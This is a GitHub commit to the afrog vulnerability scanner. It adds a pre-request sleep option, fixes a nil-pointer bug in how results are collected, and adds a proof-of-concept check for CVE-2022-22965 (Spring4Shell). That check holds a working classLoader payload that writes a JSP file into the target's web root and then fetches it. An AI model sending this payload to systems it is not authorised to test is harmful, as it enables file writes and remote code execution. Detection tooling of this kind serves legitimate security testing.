Skip to content

Commit 0502158

Browse files
committed
add before sleep & fixed result append nil pointer bug
1 parent c1ed7ef commit 0502158

File tree

4 files changed

+52
-2
lines changed

4 files changed

+52
-2
lines changed

afrog-pocs/README.md

+3
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,7 @@ rules:
5959
exppression: response.status == 200 && response.body.bcontains(b'PHP Version')
6060
stop_if_match: true
6161
r1:
62+
before_sleep: 6
6263
request:
6364
method: GET
6465
path: /info.php
@@ -83,6 +84,8 @@ stop_if_match: 如果匹配就停止
8384

8485
stop_if_mismatch:如果不匹配就停止
8586

87+
before_sleep: 顾名思义,http 请求前 sleep 6 秒钟
88+
8689
expression: 最外面的 `expression` 是 `rules` 的验证表达式,`r0() || r1()` 表示 `r0` 和 `r1` 两个规则,匹配一个表达式就为 `true`,代表漏洞存在。
8790

8891
> 如果 rules 表达式都是 `||`关系,比如:r0() || r1() || r2() ... ,默认执行 `stop_if_match` 动作。同理,如果表达式都是 `&&` 关系,默认执行 `stop_if_mismatch` 动作。
+34
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
id: CVE-2022-22965
2+
3+
info:
4+
name: Spring Framework RCE JDK 9+
5+
author: zan8in
6+
severity: critical
7+
description: |
8+
srping framework 结合JDK9及以上新版本的特性可以实现对历史漏洞补丁的绕过从而实现远程代码执行
9+
Fofa: app="vmware-SpringBoot-Framework"
10+
reference:
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-22965
12+
13+
set:
14+
randTxt: randomInt(800000000, 1000000000)
15+
exploitName: randomInt(800000000, 1000000000)
16+
rules:
17+
r0:
18+
request:
19+
method: POST
20+
path: /
21+
headers:
22+
C2: "<%"
23+
Suffix: "%>"
24+
body: |
25+
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BC2%7Di%20if(%22j%22.equals(%22j%22))%7B%20out.println(new%20String(%22{{randTxt}}%22))%3B%20%7D%25%7BSuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix={{exploitName}}&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
26+
expression: response.status == 200
27+
r1:
28+
before_sleep: 6
29+
request:
30+
method: GET
31+
path: /{{exploitName}}.jsp
32+
expression: response.status == 200 && response.body.bcontains(b'{{exploitName}}')
33+
34+
expression: r0() && r1()

pkg/core/checker.go

+12-2
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ import (
55
"net/http"
66
"net/url"
77
"strings"
8+
"time"
89

910
"github.com/google/cel-go/checker/decls"
1011
"github.com/zan8in/afrog/pkg/config"
@@ -75,6 +76,9 @@ func (c *Checker) Check(target string, pocItem poc.Poc) (err error) {
7576
k := ruleMap.Key
7677
rule := ruleMap.Value
7778

79+
if rule.BeforeSleep != 0 {
80+
time.Sleep(time.Duration(rule.BeforeSleep) * time.Second)
81+
}
7882
utils.RandSleep(500)
7983

8084
isMatch := false
@@ -94,8 +98,14 @@ func (c *Checker) Check(target string, pocItem poc.Poc) (err error) {
9498
c.UpdateVariableMap(rule.Output)
9599
}
96100

97-
c.Result.AllPocResult = append(c.Result.AllPocResult,
98-
&PocResult{IsVul: isMatch, ResultRequest: c.VariableMap["request"].(*proto.Request), ResultResponse: c.VariableMap["response"].(*proto.Response)})
101+
pocRstTemp := PocResult{IsVul: isMatch}
102+
if c.VariableMap["response"] != nil {
103+
pocRstTemp.ResultResponse = c.VariableMap["response"].(*proto.Response)
104+
}
105+
if c.VariableMap["request"] != nil {
106+
pocRstTemp.ResultRequest = c.VariableMap["request"].(*proto.Request)
107+
}
108+
c.Result.AllPocResult = append(c.Result.AllPocResult, &pocRstTemp)
99109

100110
if rule.StopIfMismatch && !isMatch {
101111
c.Result.IsVul = false

pkg/poc/poc.go

+3
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,7 @@ type Rule struct {
5050
Output yaml.MapSlice `yaml:"output"`
5151
StopIfMatch bool `yaml:"stop_if_match"`
5252
StopIfMismatch bool `yaml:"stop_if_mismatch"`
53+
BeforeSleep int `yaml:"before_sleep"`
5354
order int
5455
}
5556

@@ -59,6 +60,7 @@ type ruleAlias struct {
5960
Output yaml.MapSlice `yaml:"output"`
6061
StopIfMatch bool `yaml:"stop_if_match"`
6162
StopIfMismatch bool `yaml:"stop_if_mismatch"`
63+
BeforeSleep int `yaml:"before_sleep"`
6264
}
6365

6466
// http/tcp/udp cache 是否使用缓存的请求,如果该选项为 true,那么如果在一次探测中其它脚本对相同目标发送过相同请求,那么便使用之前缓存的响应,而不发新的数据包
@@ -164,6 +166,7 @@ func (r *Rule) UnmarshalYAML(unmarshal func(interface{}) error) error {
164166
r.Output = tmp.Output
165167
r.StopIfMatch = tmp.StopIfMatch
166168
r.StopIfMismatch = tmp.StopIfMismatch
169+
r.BeforeSleep = tmp.BeforeSleep
167170
r.order = order
168171

169172
order += 1

0 commit comments

Comments
 (0)